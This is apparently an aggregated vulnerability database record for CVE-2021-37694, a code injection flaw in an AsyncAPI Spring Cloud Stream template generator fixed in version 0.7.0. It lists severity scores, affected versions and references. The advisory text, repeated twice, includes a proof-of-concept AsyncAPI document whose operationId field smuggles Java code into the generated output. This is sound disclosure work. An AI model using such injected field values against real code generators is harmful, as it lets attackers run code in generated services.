{"id":"CVE-2021-37694","aliases":["EUVD-2021-1933","GHSA-xj6r-2jpm-qvxp"],"status":"published","title":"Code injection issue for java-spring-cloud-stream-template","description":"@asyncapi/java-spring-cloud-stream-template generates a Spring Cloud Stream (SCSt) microservice. In versions prior to 0.7.0 arbitrary code injection was possible when an attacker controls the AsyncAPI document. An example is provided in GHSA-xj6r-2jpm-qvxp. There are no mitigations available and all users are advised to update.","severity":{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00877,"percentile":0.59446,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-94"],"published":"2021-08-11T17:25:09Z","modified":"2026-10-20T10:54:50Z","fixes":[{"ecosystem":"npm","package":"@asyncapi/java-spring-cloud-stream-template","fixed_in":["0.7.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@asyncapi/java-spring-cloud-stream-template","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.6.9"},{"fixed":"0.7.0"}]}]},{"source":"osv","ecosystem":"npm","package":"@asyncapi/java-spring-cloud-stream-template","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.7.0"}]}]}],"products":[{"vendor":"asyncapi","product":"java-spring-cloud-stream-template"}],"references":[{"url":"https://github.com/asyncapi/java-spring-cloud-stream-template/security/advisories/GHSA-xj6r-2jpm-qvxp","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Third Party Advisory","evidence","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2021-37694","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-xj6r-2jpm-qvxp"},{"url":"https://github.com/asyncapi/java-spring-cloud-stream-template","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2021-37694","title":"Code injection issue for java-spring-cloud-stream-template","description":"@asyncapi/java-spring-cloud-stream-template generates a Spring Cloud Stream (SCSt) microservice. In versions prior to 0.7.0 arbitrary code injection was possible when an attacker controls the AsyncAPI document. An example is provided in GHSA-xj6r-2jpm-qvxp. There are no mitigations available and all users are advised to update.","status":"published","published":"2021-08-11T17:25:09Z","modified":"2024-08-04T01:23:01.532Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:32:58.028461Z"}],"euvd":[{"id":"EUVD-2021-1933","description":"@asyncapi/java-spring-cloud-stream-template generates a Spring Cloud Stream (SCSt) microservice. In versions prior to 0.7.0 arbitrary code injection was possible when an attacker controls the AsyncAPI document. An example is provided in GHSA-xj6r-2jpm-qvxp. There are no mitigations available and all users are advised to update.","status":"published","published":"2021-08-11T17:25:09Z","modified":"2024-08-04T01:23:01Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-03T03:24:27.254804Z"}],"ghsa":[{"id":"GHSA-xj6r-2jpm-qvxp","title":"Code injection issue for java-spring-cloud-stream-template","description":"The following was initially reported by @jonaslagoni:\n\nGiven the following command:\n`ag ./dummy.json @asyncapi/java-spring-cloud-stream-template --force-write --output ./output`\n\nWith the following AsyncAPI document:\n```json\n{\n  \"asyncapi\": \"2.0.0\",\n  \"info\": {\n    \"title\": \"Streetlight\",\n    \"version\": \"1.0.0\"\n  },\n  \"defaultContentType\": \"json\",\n  \"channels\": {\n    \"security/audit/channel\": {\n      \"description\": \"Channel for the turn on command which should turn on the streetlight\",\n      \"parameters\": {\n        \"streetlight_id\": {\n          \"description\": \"The ID of the streetlight\",\n          \"schema\": {\n            \"type\": \"string\"\n          }\n        }\n      },\n      \"publish\": {\n        \"operationId\": \"test() { System.out.println(\\\"injected\\\"); return test(0); }\\n public Consumer\u003cCustomClass\u003e someothername\",\n        \"message\": {\n          \"name\": \"TurnonCommand\",\n          \"payload\": {\n            \"$ref\": \"#/components/schemas/CustomClass\"\n          }\n        }\n      }\n    }\n  },\n  \"components\": {\n    \"schemas\" : {\n      \"CustomClass\": {\n        \"type\": \"object\",\n        \"properties\": {\n          \"prop\": { \n              \"type\": \"string\"\n          }\n        }\n      }\n    }\n  }\n}\n```\n\nWhich changes the following output: \n\n```java\n...\n  @Bean\n  public Consumer\u003cCustomClass\u003e test() {\n    // Add business logic here.\n    return null;\n  }\n...\n```\nTo\n```java\n...\n  @Bean\n  public Consumer\u003cCustomClass\u003e test() { System.out.println(\"injected\"); return someothername(); }\n  public Consumer\u003cCustomClass\u003e someothername() {\n    // Add business logic here.\n    return null;\n  }\n...\n```","status":"published","published":"2021-08-25T14:45:52Z","modified":"2023-02-01T05:06:16Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:36:38.281533Z"}],"nvd":[{"id":"CVE-2021-37694","description":"@asyncapi/java-spring-cloud-stream-template generates a Spring Cloud Stream (SCSt) microservice. In versions prior to 0.7.0 arbitrary code injection was possible when an attacker controls the AsyncAPI document. An example is provided in GHSA-xj6r-2jpm-qvxp. There are no mitigations available and all users are advised to update.","status":"published","published":"2021-08-11T18:15:07.403Z","modified":"2026-06-17T04:01:00.02Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N","level":"high","assessor":"secondary"},{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"},{"version":"2.0","score":6.8,"vector":"AV:N/AC:M/Au:N/C:P/I:P/A:P","level":"medium","assessor":"primary"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:06:56.943671Z"}],"osv":[{"id":"CVE-2021-37694","description":"@asyncapi/java-spring-cloud-stream-template generates a Spring Cloud Stream (SCSt) microservice. In versions prior to 0.7.0 arbitrary code injection was possible when an attacker controls the AsyncAPI document. An example is provided in GHSA-xj6r-2jpm-qvxp. There are no mitigations available and all users are advised to update.","status":"published","published":"2021-08-11T18:15:07.403Z","modified":"2026-10-20T10:54:50.853043534Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:44:20.434873Z"},{"id":"GHSA-xj6r-2jpm-qvxp","title":"Code injection issue for java-spring-cloud-stream-template","description":"The following was initially reported by @jonaslagoni:\n\nGiven the following command:\n`ag ./dummy.json @asyncapi/java-spring-cloud-stream-template --force-write --output ./output`\n\nWith the following AsyncAPI document:\n```json\n{\n  \"asyncapi\": \"2.0.0\",\n  \"info\": {\n    \"title\": \"Streetlight\",\n    \"version\": \"1.0.0\"\n  },\n  \"defaultContentType\": \"json\",\n  \"channels\": {\n    \"security/audit/channel\": {\n      \"description\": \"Channel for the turn on command which should turn on the streetlight\",\n      \"parameters\": {\n        \"streetlight_id\": {\n          \"description\": \"The ID of the streetlight\",\n          \"schema\": {\n            \"type\": \"string\"\n          }\n        }\n      },\n      \"publish\": {\n        \"operationId\": \"test() { System.out.println(\\\"injected\\\"); return test(0); }\\n public Consumer\u003cCustomClass\u003e someothername\",\n        \"message\": {\n          \"name\": \"TurnonCommand\",\n          \"payload\": {\n            \"$ref\": \"#/components/schemas/CustomClass\"\n          }\n        }\n      }\n    }\n  },\n  \"components\": {\n    \"schemas\" : {\n      \"CustomClass\": {\n        \"type\": \"object\",\n        \"properties\": {\n          \"prop\": { \n              \"type\": \"string\"\n          }\n        }\n      }\n    }\n  }\n}\n```\n\nWhich changes the following output: \n\n```java\n...\n  @Bean\n  public Consumer\u003cCustomClass\u003e test() {\n    // Add business logic here.\n    return null;\n  }\n...\n```\nTo\n```java\n...\n  @Bean\n  public Consumer\u003cCustomClass\u003e test() { System.out.println(\"injected\"); return someothername(); }\n  public Consumer\u003cCustomClass\u003e someothername() {\n    // Add business logic here.\n    return null;\n  }\n...\n```","status":"published","published":"2021-08-25T14:45:52Z","modified":"2026-07-08T06:28:21.063784895Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:47:00.198893Z"}]}}